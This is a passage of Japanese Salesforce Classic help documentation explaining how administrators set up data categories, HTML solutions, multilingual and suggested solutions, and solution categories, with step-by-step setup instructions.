次の図は、あるエージェントが [記事] タブに公開されている上記の記事を検索するところを示してい
ます。このエージェントが [商品] と [場所] ドロップダウンメニューでそれぞれ [ラップトップ] と [USA]

を選択し、[ラップトップ] と [USA] の両方のカテゴリに分類されている記事を取得します。

[記事] タブのラップトップの商談に関する記事

カテゴリグループにカテゴリを追加する場合は、5 レベルまで格納できる階層と最大 100 個のカテゴリ
を構築します。各カテゴリには 1 つの親、多くの同階層、および多くの子があります。堅牢で適切に
整理されたカテゴリ階層により、カテゴリに関連する記事をすばやくかつ容易に見つけることができ
ます。
デフォルトでは、すべての Salesforce ナレッジユーザにすべてのカテゴリへのアクセス権があります
が、ロール、権限セット、またはプロファイルによりカテゴリの表示設定を制限できます。

アンサーゾーンのデータカテゴリ
アンサーゾーンは 1 つのカテゴリグループをサポートし、メンバーは質問ごとに 1 つのカテゴリを割
り当てることができます。カテゴリグループには最大 5 つの階層レベルを作成できますが、アンサー
コミュニティでサポートされるのは最初のレベルのカテゴリのみです。1 つ目のレベルの下にある子
カテゴリはコミュニティには表示されず、コミュニティメンバーはこれらの子カテゴリを質問に割り
当てることはできません。ゾーン名の下の [アンサー] タブにグループ内のカテゴリが表示されます。
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カテゴリを表示する [アンサー] タブ

デフォルトでは、すべてのゾーンメンバーにすべてのカテゴリへのアクセス権がありますが、カテゴ
リの表示設定を指定できます。

データカテゴリ実装のヒント
データカテゴリを計画して組織に導入する場合は、次の情報に留意してください。
• カテゴリグループは 3 つまで作成できます。各グループには最大 5 つの階層レベルを作成できま

す。各カテゴリグループには、合計で 100 のカテゴリを含めることができます。
• [アンサー] でデータカテゴリを使用する場合、カテゴリグループを作成した後、[設定] から、[ク

イック検索] ボックスに「データカテゴリの割り当て」と入力し、[アンサー] の下で [データカテゴ
リの割り当て] を選択して割り当てる必要があります。アンサーコミュニティにはカテゴリグルー
プを 1 つだけ割り当てることができます。Salesforce ナレッジは、複数のカテゴリグループをサポー
トします。

• カテゴリグループには最大 5 つの階層レベルを作成できますが、アンサーコミュニティでサポート
されるのは最初のレベルのカテゴリのみです。1 つ目のレベルの下にある子カテゴリはコミュニ
ティには表示されず、コミュニティメンバーはこれらの子カテゴリを質問に割り当てることはでき
ません。Salesforce ナレッジは、データカテゴリの階層をサポートします。

• カテゴリグループは、有効化するまでユーザには表示されません。カテゴリグループは、カテゴリ
とそのアクセス設定 (表示設定を含む) の定義が完了するまで有効化しないでください。

• カテゴリを記事に割り当てると、カテゴリグループから最大 8 のカテゴリを選択できます。
• 記事にカテゴリが含まれていない場合、記事は、カテゴリドロップダウンメニューの [条件なし]

オプションを選択する場合にのみ表示されます。
• 記事または記事の翻訳の検索時にカテゴリを選択すると、最上位までのそのカテゴリの親と子、お

よび親の親が自動的に含まれます。同階層カテゴリは含まれません。たとえば、カテゴリ階層に
[すべての商品]、[スイッチ]、[光ネットワーク]、および [メトロコア] のレベルがある場合、[カテゴ
リ] ドロップダウンメニューから [光ネットワーク] を選択すると、4 つのカテゴリに割り当てられた
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記事が返されます。ただし、[スイッチ] カテゴリに [ルータ] という同階層カテゴリがある場合、[光
ネットワーク] を選択しても、[ルータ] に分類されている記事は返されません。カテゴリ表示設定
によって、検索可能な特定の記事が制限される場合があります。

• カテゴリに表示設定を選択すると、次のようになります。
– デフォルトのカテゴリ表示が設定されていない場合、表示権限を割り当てられていないユーザ

は、未分類の記事と質問のみ参照できます。
– ロールベースの表示設定では、カスタマーポータルユーザとパートナーポータルユーザは、デ

フォルトでは、これらの取引先マネージャに割り当てられたカテゴリグループの表示設定を継
承します。各ポータルのカテゴリグループ表示設定を変更できます。

– カテゴリグループ内の 1 つのカテゴリだけにアクセス権がある場合、該当するカテゴリグルー
プの [カテゴリ] ドロップダウンメニューに [記事] タブは表示されません。

• カテゴリを削除すると、次のようになります。
– 完全に削除します。削除したものは復元できません。ごみ箱にも表示されません。
– 子カテゴリも完全に削除します。
– 必要に応じて、すべてのチャネルの [アンサー] タブ、[記事の管理] タブ、[ナレッジ] タブ、およ

び会社の公開知識ベースからカテゴリとその子カテゴリを削除します。
– カテゴリと記事または質問との間の関連付けを削除します。記事または質問は、別のカテゴリ

に再割り当てできます。
– 表示設定への対応付けを削除します。削除されたカテゴリに関連付けられた記事と回答が表示

されなくなります。
• カテゴリグループを削除すると、次のようになります。

– [削除されたカテゴリグループ] セクションに移動します。これはごみ箱です。このセクション
のアイテムは、参照はできますが、編集できません。アイテムは、ごみ箱に 15 日保持してから
完全に削除され、復元できません。15 日の保持期間中は、カテゴリグループを復元することも、
すぐに完全に削除することもできます。

– そのグループ内のすべてのカテゴリを削除します。
– グループのカテゴリと記事または質問との間の関連付けをすべて削除します。
– グループのカテゴリと表示設定との間の関連付けをすべて削除します。
– 必要に応じて、すべてのチャネルの [アンサー] タブ、[記事の管理] タブ、[記事] タブ、および会

社の公開知識ベースから [カテゴリ] ドロップダウンメニューを削除します。
• トランスレーションワークベンチを使用して、カテゴリとカテゴリグループのラベルを翻訳できま

す。
データカテゴリのベストプラクティス

データカテゴリを使用するときは、次のヒントに留意してください。
• データカテゴリをすばやく管理するには、キーボードショートカットを使用します。
• カテゴリを作成または更新したら、カテゴリグループ表示ルールを設定します。
• 変更は頻繁に保存してください。[保存] をクリックする前に行うアクションが多いほど、保存に時

間がかかります。
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カテゴリグループの作成と編集

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

[データカテゴリ] ページを
表示する
• 「データカテゴリの表

示」

データカテゴリを作成、
編集、または削除する
• 「データカテゴリの管

理」

カテゴリグループは、Salesforce ナレッジ (記事)、アンサー (質問)、またはアイデ
アで使用されます。いずれの場合も、カテゴリグループは各データカテゴリの
コンテナです。たとえば、「Contracts (契約)」カテゴリグループには、「Fixed Price

(固定価格)」、「Cost Reimbursement (実費精算)」、および「Indefinite Delivery (指定
なし配送)」のカテゴリが含まれます。
1. [設定] から、[クイック検索] ボックスに「データカテゴリ」と入力し、[デー

タカテゴリ設定] を選択します。
2. カテゴリグループを作成するには、[カテゴリグループ] セクションで [新規]

をクリックします。
デフォルトで、カテゴリグループを最大 5 つ、アクティブなカテゴリグルー
プを 3 つ作成できます。既存のカテゴリグループを編集するには、カテゴリ
グループ名の上にカーソルを置き、[カテゴリグループの編集]アイコン ( )

をクリックします。
3. 最大 80 文字の [グループ名] を指定します。この名前は、[記事の管理] タブ

と [記事] タブのカテゴリドロップダウンメニューのタイトルとして表示さ
れ、また、該当する場合には、公開知識ベースにも表示されます。[グルー
プ名] は [アンサー] タブに表示されません。

4. 必要に応じて、[グループの一意の名前]  (SOAP API でカテゴリグループを識別
するために使用される一意の名前) を変更します。

5. 必要に応じて、カテゴリグループの説明を入力します。
6. [保存] をクリックします。

保存プロセスが完了すると、メールで通知されます。

カテゴリグループの有効化
カテゴリグループを追加すると、デフォルトで無効になり、[データカテゴ
リ]、[ロール]、[権限セット]、および [プロファイル] の管理設定ページにのみ
表示されます。カテゴリ階層を設定し、表示設定を割り当てるには、カテゴ
リグループを無効にしたままにします。カテゴリグループを手動で有効化す
るまで、Salesforce ナレッジまたはアンサーコミュニティには表示されませ
ん。カテゴリグループを有効にする他、アンサーコミュニティについては、
カテゴリを [アンサー] タブに表示する前にカテゴリグループをゾーンに割り
当てる必要があります。
カテゴリグループを有効化して、ユーザが使用できるようにするには、カテゴリグループ名の上にマウス
ポインタを置き、[カテゴリグループの有効化] アイコン ( ) をクリックします。

これで、カテゴリグループにカテゴリを追加できます。カテゴリグループを作成すると、Salesforce では すべ
て という名前のグループに、最上位レベルのカテゴリが自動的に作成されます。必要に応じて、すべて をダ
ブルクリックして、名前を変更します。
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カテゴリグループへのデータカテゴリの追加

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

[データカテゴリ] ページを
表示する
• 「データカテゴリの表

示」

データカテゴリを作成、
編集、または削除する
• 「データカテゴリの管

理」

カテゴリグループを作成した後、データカテゴリを追加することで、エージェ
ントが記事、質問、アイデアを分類、検索できるようになります。
システム管理者は、Salesforce ナレッジ記事、ゾーンの質問、またはアイデアの
データカテゴリを作成して、記事や質問、アイデアを分類して検索できるよう
にすることができます。また、データカテゴリを使用して記事、質問、アイデ
アへのアクセスを制御することもできます。
デフォルトでは、各データカテゴリグループに最大 100 個のカテゴリを作成し、
データカテゴリグループ階層内に最大 5 つのレベルを持つことができます。カ
テゴリや階層レベルの追加が必要な場合は、Salesforceにお問い合わせください。

メモ: [アンサー] タブでは、第 1 レベルのデータカテゴリのみが表示されま
す。そのため、ポータルまたはコミュニティのデータカテゴリを作成する
場合は、表示するカテゴリに親子の関係ではなく同階層の関係があること
を確認してください。

1. [設定] から、[クイック検索] ボックスに「データカテゴリ」と入力し、[デー
タカテゴリ設定] を選択します。

2. カテゴリグループ名をクリックします。
3. カテゴリを追加する位置のすぐ上位にあるカテゴリ (親)、または、同じレベ

ルにあるカテゴリ (兄弟) をクリックします。
4. [アクション]をクリックしたら、アクション [子カテゴリの追加]または [同階

層カテゴリの追加] を選択します。
5. 最大 40 文字のカテゴリ名を入力します。

可能な場合、Salesforceでは [カテゴリの一意の名前]として入力した名前が自
動的に再利用されます。これは、SOAP API で要求されるシステム項目です。

6. [追加] をクリックします。または、Enter キーを押します。
7. [保存] をクリックします。

変更は頻繁に保存してください。[保存] をクリックする前に行うアクション
が多いほど、保存に時間がかかります。

ヒント: デフォルトでは、すべての Salesforce ナレッジユーザとゾーンメン
バーがアクティブなカテゴリグループ内のすべてのカテゴリを表示できま
す。データカテゴリを設定したら、カテゴリの表示設定を制限して、ユー
ザからのアクセスが、ユーザに示したい記事と質問のみになるようにでき
ます。
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データカテゴリの対応付けを使用した記事の絞り込み

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

データカテゴリグループ
を対応付ける
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

ケース解決時の推奨記事の関連性を高めることができます。ケース項目をデー
タカテゴリに対応付け、それらのデータカテゴリに割り当てられた記事を絞り
込みます。たとえば、商品に関する項目に関連するケースは、その商品のデー
タカテゴリに対応付けることができます。そのカテゴリまたは商品に割り当て
られた記事が絞り込まれ、推奨記事リストの最上部に表示されます。

重要:

• ケース情報に基づく記事の絞り込みは、テキスト項目と選択リスト項目
でのみサポートされます。

• 検索条件は、ケースが保存された後ナレッジ結果に適用されます。
• 検索条件は、ナレッジ検索後、検索で返された記事にのみ適用されま

す。
• 検索条件を使用する場合、検索条件に一致するすべての記事のリストが

返されるのではなく、返された記事結果の最初のプールに検索条件が適
用されます。

• 検索後に結果を絞り込むことができます。
• カテゴリグループは、データカテゴリの対応付けで一度のみ使用できま

す。
• [ケースの内容に関するケースの記事を推奨する] が有効な場合は、推奨

記事が返されます。推奨記事が無効な場合、検索にはデータカテゴリの
対応付けが使用されます。ケースの件名項目は、データカテゴリの対応
付けがない場合に使用されます。

データカテゴリの対応付けを実装するには、どのケース項目をどのデータカテ
ゴリに対応付けるかを選択し、さらに、対応付けられた項目に値がないケース
のためのデフォルトのデータカテゴリを設定します。
データカテゴリについての詳細は、「Salesforce.com のデータカテゴリ」 (ページ
3504)を参照してください。
1. [設定] から、[クイック検索]ボックスに「データカテゴリの対応付け」と入力し、[データカテゴリの対応付

け] を選択します。
2. [ケース項目] 列で、ドロップダウンリストを使用して項目を追加します。
3. [データカテゴリグループ] 列で、ドロップダウンリストを使用して、参照項目からの情報をデータカテゴ

リに対応付けます。
4. 項目値がカテゴリグループのどのカテゴリとも一致しない場合は、[デフォルトデータカテゴリ]列でドロッ

プダウンリストを使用して、データカテゴリを割り当てます。
5. [追加] をクリックします。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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ソリューションの追加

HTML ソリューションの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューションを作成す
る
• ソリューションに対す

る「作成」

HTML ソリューションでは、段落の書式設定や、画像やリンクの挿入が簡単に実
行できるため、ソリューションをより柔軟に作成できます。HTML ソリューショ
ンでは HTML エディタを使ってソリューションを作成し、そのソリューションを
Salesforce、セルフサービスポータル、およびカスタマーポータルで公開ソリュー
ションとしてユーザに表示します。
HTML エディタを使用して、次の操作を実行できます。
• フォントの変更
• フォントサイズの拡大または縮小
• [ドキュメント] タブからの画像の挿入
• テキストの色
• テキストの背景色の設定
• ハイパーリンクの挿入
• 段落の配置の変更
• 箇条書きや番号付き箇条書きの作成

メモ: デフォルトでは、ソリューションはテキスト形式で作成および表示
します。システム管理者は、HTML ソリューションを有効にする必要があり
ます。

組織で HTML ソリューションの作成を開始する前に、次の実装に関するヒントとベストプラクティスを確認し
てください。

実装のヒント
• HTML ソリューションは、一度有効にすると無効にはできません。
• HTML エディタでテキストソリューションを開いて保存すると、そのソリューションは HTML ソリューショ

ンになります。
• HTML ソリューションは、セルフサービスポータル、公開ソリューション、カスタマーポータル、および

Salesforce ユーザに表示されます。
• ソリューションが保存されると、HTML エディタに入力された HTML タグはすべてテキストとして表示され

ます。
• HTML ソリューション詳細がリストビューと検索結果に表示されるときには、最初の 255 文字のみが表示さ

れます。この文字数には、表示されない HTML タグや画像も含まれます。
• 各 HTML ソリューションには、HTML タグを含めて最大 32000 文字まで含めることができます。
• HTML の書式設定は、ソリューションの印刷用表示で保存されます。
• HTML ソリューション内のハイパーリンクをユーザがクリックすると、リンク先の内容が新しいブラウザ

ウィンドウに開きます。
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• HTML ソリューションに含める画像はすべて、[ドキュメント] タブにアップロードする必要があります。HTML

ソリューション詳細内の画像は、リストビューとレポートには表示されません。
• HTML ソリューションは、Salesforce がサポートするいずれの言語でも作成できます。

ベストプラクティス
次の HTML タグは、Salesforce にインポートされる HTML ソリューションで使用できます。

<q><dt><a>

<samp><em><abbr>

<small><font><acronym>

<span><h1><address>

<strike><h2><b>

<strong><h3><bdo>

<sub><h4><big>

<sup><h5><blockquote>

<table><h6><br>

<tbody><hr><caption>

<td><i><cite>

<tfoot><img><code>

<th><ins><col>

<thead><kbd><colgroup>

<tr><li><dd>

<tt><ol><del>

<ul><p><dfn>

<var><pre><div>

<dl>

上記のタグの中に、次の属性を含めることができます。

sizefacealt

srcheightbackground

stylehrefborder

targetnameclass
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上記の属性のうち URL を含めることができるのは、次の文字列で始まる URL に限られます。
• http:

• https:

• file:

• ftp:

• mailto:

• #

• /  (相対リンクの場合)

関連トピック:

ソリューションの分類
ソリューションの作成

マルチ言語ソリューションの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

マルチ言語ソリューション機能を使用して、ソリューションおよびソリューショ
ンカテゴリを、Salesforce がサポートする言語に翻訳できるため、サポート担当
者は、最も扱いやすい言語で問い合わせに対する答えを見つけることができま
す。
マルチ言語ソリューションでは、次の方法でサポート費用を削減できます。
• 顧客が希望する言語で問い合わせに答えることにより、営業やマーケティン

グがリアルタイムに顧客情報を把握する
• 顧客にとって最も都合の良い言語でソリューションを提供することにより、

不要な電話の着信を削減する
• 時間と場所を問わず、1 か所から複数の言語で問い合わせを管理する
マルチ言語ソリューションに関する次のキーワードを確認します。
マスタソリューション

Salesforce がサポートしている言語で作成されたソリューション。マスタソリューションには、翻訳を関連
付けることができます。ただし、別のマスタソリューションと関連付けることはできません。

翻訳ソリューション
Salesforceがサポートする言語に翻訳され、1 つのマスタソリューションと関連付けられたソリューションで
す。翻訳ソリューションが、マスタソリューションと同じ言語を使うことはできず、マスタソリューショ
ンと関連付けられている他の翻訳ソリューションと同じ言語を使うこともできません。翻訳ソリューショ
ンを、他の翻訳ソリューションと関連付けることはできません。翻訳ソリューションは、ソリューション
詳細ページ、ソリューション編集ページ、ソリューションリストビュー、およびソリューションの検索結
果に、 アイコンで表示されます。

次の場所からマルチ言語ソリューションを使用できます。
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[ソリューション] タブ
新規ソリューションを作成するとき、ユーザは、[言語]選択リストから、ソリューションを記述する言語
を選択できます。ソリューションをいったん保存すると、マスタソリューションになります。その後ユー
ザは、マスタソリューション詳細ページの [翻訳ソリューション] 関連リストにある[新規]をクリックして、
翻訳ソリューションを作成できます。マスタソリューションが変更されると、その翻訳ソリューションの
状態を調整して、翻訳が必要であることを示すことができます。

[ケース] タブ
ユーザが、[ソリューション] 関連リストにキーワードを入力し、[ソリューションの検索] をクリックして
ケースで関連ソリューションを検索すると、検索結果には、一致するキーワードを含む、すべての言語の
ソリューションが表示されます。または、推奨ソリューションがケースに対して有効にされている場合、
そのソリューションがそのケースと共通語を共有していれば、[推奨ソリューションの参照] をクリックし
て、複数の言語で関連ソリューションを検索することができます。

セルフサービスポータル
マルチ言語ソリューションがセルフサービスポータルに対して有効にされている場合には、セルフサービ
スユーザ情報設定で指定された希望言語で自動的にソリューション検索結果が表示されます。また、言語
ドロップダウンリストから、特定の言語またはすべての使用言語でソリューション検索結果を選択して表
示することもできます。デフォルトでは、セルフサービスポータルのログインページは、組織の言語で表
示されます。

公開ソリューション
マルチ言語ソリューション検索が公開ソリューションに対して有効にされている場合には、言語ドロップ
ダウンリストから、特定の言語またはすべての使用言語でソリューション検索結果を選択して表示できま
す。デフォルトでは、公開ソリューションは、組織の言語で表示されます。

ソリューションカテゴリ
「翻訳の管理」権限を持つユーザは、トランスレーションワークベンチを使用してソリューションカテゴ
リを翻訳し、各ユーザの言語で [ソリューション] タブに表示したり、顧客のセルフサービスユーザ情報設
定で指定されている各顧客の希望言語でセルフサービスポータルに表示したりすることができます。ソ
リューションカテゴリは、公開ソリューション用には翻訳されていません。

レポート
[翻訳ソリューション] レポートを選択することにより、[変更あり] が表示されている翻訳ソリューション
を追跡できます。このレポートを実行すると、翻訳ソリューションの名前と説明も一覧表示されます。ま
た、「マスタおよび翻訳されたソリューション」レポートタイプを使用して、複数のソリューションのカ
スタムレポートを作成することもできます。

リストビュー
[ソリューション] タブでカスタムリストビューを作成し、「変更フラグ次の文字列と一致する True 」とい
う条件を入力することによって、[変更あり]が表示されており、場合によっては翻訳する必要がある翻訳
ソリューションを参照できます。

インポート
データインポートウィザードには、マスタおよび翻訳ソリューションをインポートし、相互に関連付ける
ためのオプションがあります。
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マルチ言語ソリューションの有効化についての詳細は「マルチ言語ソリューションの有効化」 (ページ 3500)を
参照してください。

関連トピック:

マルチ言語ソリューションの有効化
ソリューションの分類
ソリューションの作成

推奨ソリューションの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

推奨ソリューションを有
効化する
• 「アプリケーションの

カスタマイズ」

セルフサービスページを
編集する
• 「セルフサービスポー

タルの管理」

および

「アプリケーションの
カスタマイズ」

推奨ソリューション機能により、ユーザや顧客がケースの詳細ページ、Salesforce

カスタマーポータル、またはセルフサービスポータルから、特定のケースを解
決するのに役立つ可能性のある関連ソリューションが、最大 10 件表示されま
す。
推奨ソリューションでは、次の方法でサポート費用を削減することができます。
• カスタマーサポート担当者がケースを解決するのにかかる時間を短縮する
• どんなケースの場合でも、そのケースに対応するソリューションに積極的に

アクセスするようカスタマーサポート担当者を促し、生産性の改善を図る
• 顧客が自分のケースを解決してクローズできるようにする
表示されるソリューションは、単純にキーワード検索を行って見つけられるも
のではありません。それよりも、次に示す変数を数式に入力し、特定のケース
と各ソリューションとの関連性を自動的に計算させます。
• すべてのソリューションにおける単語の出現頻度
• 関連ソリューションのある類似ケースにおける単語の出現頻度
• ソリューション内でのキーワードの近似性
• 自分でクローズしたケースと、セルフサービスのユーザによって有用と評価

されたソリューションとの単語の類似点
• ソリューションに関連付けられた追加ケースの数
次の項目に対して、推奨ソリューションを有効にできます。
[ケース] タブ

ケースの詳細ページから [推奨ソリューションの参照]をクリックして、これ
らのケースに関連するソリューションを一覧表示できます。組織でマルチ言
語ソリューションが有効である場合は、キーワードが一致するすべての言語
のソリューションが検索結果として返されます。ただし、1 つの言語から検索した用語は他の言語では処理
が異なるため、すべての言語にわたる検索結果は、信頼できないことがあります。

カスタマーポータルとセルフサービスポータル
セルフサービスユーザは、ケースを送信したりオンラインで参照する際に、自分のケースに関連するソ
リューションを参照できます。
セルフサービスユーザは、推奨ソリューションを使用して、自分のケースをクローズできます。
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セルフサービスユーザが新しいケースを記録するか、カスタマーポータルまたはセルフサービスポータル
にある既存のケースの [推奨ソリューションの参照] ボタンをクリックすると、マルチ言語ソリューション
を有効にしている組織ではマルチ言語のソリューションなどの推奨ソリューションが一覧表示されます。
顧客がリストからソリューションを選択すると、[このソリューションは役に立ちましたか?] と表示されま
す。[はい] をクリックして、ケースをクローズした理由を選択します。この手順でケースをクローズする
と、[セルフサービスユーザによるクローズ]というケース項目がオンになります。[いいえ]をクリックした
場合は、推奨ソリューションの一覧に戻ります。推奨ソリューションが見つからない場合、[推奨ソリュー
ションページ] は省略され、ケース参照ページが表示されます。

ケースの自動レスポンスルールとメール
ユーザのサポートチームは、カスタマーサポート担当者の援助なしで、顧客のケース解決を支援できます。
これは、メール、Web-to-ケース、またはセルフサービスポータルで送信されたケースに対して、メール自
動レスポンスを作成するだけで実行できます。自動レスポンスメールテンプレートには、推奨ソリューショ
ンの差し込み項目 ({!Case_Suggested_Solutions}) が含まれます。この項目は、ソリューションの件名
および説明へのダイレクトリンクを記載したメールを送信します。これにより、顧客は問い合わせについ
ての回答を得ることができます。

メモ: 推奨ソリューションの差し込み項目を含むテンプレートを使用してメールを一括送信すると、
数分かかる可能性があるためお勧めしません。

[セルフサービスユーザによるクローズ]項目と [作成時にクローズ]項目は、ケースのページレイアウトに追加
できます。これらの項目は、Salesforceにより自動的に設定されます。変更はできません。[セルフサービスユー
ザによるクローズ]項目と [作成時にクローズ]項目のレポートを実行して、ケースがクローズされた状況を確
認することができます。
• [セルフサービスユーザによるクローズ]項目のレポートを作成して、セルフサービスポータルの推奨ソリュー

ションによりユーザがクローズしたケースの数を確認します。
• [作成時にクローズ] 項目のレポートを作成して、サポート担当者が即座に保存またはクローズしたケース

の数を確認します。

メモ:

• 推奨ソリューションでは Salesforce ナレッジの記事は表示されません。
• 公開ソリューションのユーザにはケースの作成やケースへのアクセスを許可するログイン認証が付与

されていないため、推奨ソリューションは公開ソリューションでは無効になります。

関連トピック:

サポート設定のカスタマイズ
マルチ言語ソリューションの概要
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ソリューション設定のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューション設定を変
更する
• 「アプリケーションの

カスタマイズ」

ソリューション設定をカスタマイズする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ソリューション設定」と入力し、

[ソリューション設定] を選択します。
2. [編集] をクリックします。
3. ソリューションをカテゴリ別に参照する機能をオンにするには、[カテゴリ

別ソリューション参照を有効化] チェックボックスをオンにします。
この設定により、[ソリューション] タブとカスタマーポータルで、およびケー
ス解決時に、カテゴリ別にソリューションを参照できるようになります。

4. ユーザがソリューションをマルチ言語に翻訳できるようにするには、[マル
チ言語ソリューションを有効化] チェックボックスをオンにします。

5. [セルフサービスポータルでのマルチ言語ソリューション検索を有効化]をオン
にし、セルフサービスポータルに言語ドロップダウンリストを追加します。
この処理を実行すると、ユーザによるソリューションの検索時にユーザのセ
ルフサービスポータルでの使用言語に一致するソリューションのみが結果に
表示されます。セルフサービスポータルユーザは、言語ドロップダウンリス
トからソリューションを特定言語で検索するか、Salesforce でサポートされて
いる任意の言語で検索するかを選択できます。

6. 言語ドロップダウンリストを公開ソリューションに追加して、公開ソリューションのユーザがソリューショ
ンの検索言語を選択できるようにするには、[公開ソリューションに対するマルチ言語ソリューション検索を
有効化] をオンにします。公開ソリューションユーザは、言語ドロップダウンリストからソリューション
を特定言語で検索するか、Salesforce でサポートされている任意の言語で検索するかを選択できます。

7. ソリューションを HTML で作成および表示するには、[HTML ソリューションを有効化] を選択します。有効
にすると、ソリューションが Salesforce、公開ソリューション、セルフサービスポータル、および Salesforce

カスタマーポータルに HTML 形式で表示されます。HTML ソリューションを使用すると、フォントと色を変
更し、画像とハイパーリンクを追加して、ソリューションの詳細情報の書式を簡単に設定できます。

警告: [HTML ソリューションを有効化] は、一度選択すると無効にはできません。

8. ソリューション検索結果にソリューション詳細を最大 150 文字まで表示できるようにするには、[ソリュー
ション概要]チェックボックスをオンにします。このチェックボックスをオフにすると、検索結果にソリュー
ション概要が含まれません。

9. 検索結果にソリューションが属するカテゴリ階層 (ブレッドクラム) の経路を最大 150 文字まで表示できる
ようにするには、[カテゴリ階層 (ブレッドクラム) の表示] チェックボックスを選択します。このチェッ
クボックスをオフにすると、検索結果にブレッドクラムが含まれません。

10. [保存] をクリックします。
11. 公開ソリューションまたはセルフサービスポータルで顧客がソリューションカテゴリを参照できるように

するには、「公開ソリューションの有効化」 (ページ3502)および「セルフサービスの機能と設定の有効化」
(ページ 2904)を参照してください。
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さらに、公開ソリューションユーザおよびセルフサービスユーザによるアクセスが可能な最上位カテゴリ
をカスタマイズすることもできます。セルフサービスポータルまたは公開ソリューションでアクセス可能
なすべてのカテゴリとソリューションに顧客がアクセスできるようにする場合は、この設定を変更する必
要はありません。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できません。既存の組織は、引き続
きセルフサービスポータルを使用できます。

関連トピック:

ソリューションの分類
ソリューションカテゴリの管理
マルチ言語ソリューションの有効化

カテゴリの使用開始

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューションカテゴリ
を作成または変更する
• 「カテゴリの管理」

次の手順に従って、ソリューションを正常にロールアウトします。
1. サポートチームが必要とするカテゴリを計画します。

公開ソリューションおよびセルフサービスポータルで、顧客もカテゴリ別に
ソリューションを検索できるようにすることができます。特定のカテゴリお
よびそのすべてのサブカテゴリのみが顧客に表示されるように指定できま
す。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用で
きません。既存の組織は、引き続きセルフサービスポータルを使用でき
ます。

2. カテゴリを定義します。「ソリューションカテゴリの定義」 (ページ3498)を参
照してください。

3. ソリューションをカスタマイズします。「ソリューションの分類」 (ページ
2793)を参照してください。システム管理者および「カテゴリの管理」権限を
持つユーザは、組織全体でソリューションカテゴリを有効にする前にソリュー
ションを分類できます。

4. [ソリューションカテゴリ] タイプのカスタムレポートを作成し、すべてのソリューションが適切に分類さ
れていることを確認します。分類されていないソリューションを見つけるには、高度な検索を使用し、[カ
テゴリ名]項目と「次の文字列と一致する」演算子を選択し、3 つ目の項目は空白にします。システム管理
者および「カテゴリの管理」権限を持つユーザは、組織全体でソリューションカテゴリを有効にする前に
ソリューションカテゴリレポートを作成できます。

5. [ソリューション] タブでソリューションカテゴリを参照できるようにします。「ソリューション設定のカ
スタマイズ」 (ページ 3496)を参照してください。

6. 公開ソリューションおよびセルフサービスポータルを使用する顧客がソリューションカテゴリを参照でき
るようにします。「公開ソリューションの有効化」 (ページ3502)および「セルフサービスの機能と設定の有
効化」 (ページ 2904)を参照してください。
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7. 公開ソリューションおよびセルフサービスポータルを使用する顧客がアクセスできる最上位カテゴリを指
定します。これは、内部スタッフのみが特定のカテゴリを使用できるようにする場合に便利です。
セルフサービスポータルまたは公開ソリューションでアクセス可能なすべてのカテゴリとソリューション
を顧客が参照できるようにする場合は、この項目を空白にします。

関連トピック:

ソリューションカテゴリの管理

ソリューションカテゴリの定義
まず、ソリューションカテゴリを作成します。[すべてのソリューション] カテゴリが、ソリューション階層の
最上位カテゴリとして自動的に作成されます。ユーザがこのカテゴリにソリューションを追加したり、翻訳し
たりすることはできません。
1. [設定] から、[クイック検索] ボックスに「ソリューションカテゴリ」と入力し、[ソリューションカテゴリ]

を選択します。
2. カテゴリの下にサブカテゴリを作成するには、[カテゴリの追加] をクリックします。
3. カテゴリ名を入力します。カテゴリ名にバックスラッシュ「\」を使用することはできません。
4. 希望に応じて、別の親カテゴリを選択します。親カテゴリとは、階層内でこのカテゴリのすぐ上位に位置

するカテゴリのことです。
5. このカテゴリの下に作成したサブカテゴリの並び替え順を選択します。

• サブカテゴリをアルファベット順に並び替えるには、[アルファベット順] を選択します。
• 指定した順序でサブカテゴリを並び替えるには、[カスタムオーダー] を選択します (「ソリューションカ

テゴリの定義」 (ページ 3499)を参照)。

6. [保存] をクリックします。
7. カテゴリを作成したら、ソリューションを分類します。「ソリューションの分類」 (ページ2793)を参照して

ください。システム管理者および「カテゴリの管理」権限を持つユーザは、組織全体でソリューションカ
テゴリを有効にする前にソリューションを分類できます。

8. ソリューションを分類したら、[ソリューション] タブでソリューションカテゴリを参照できるようにしま
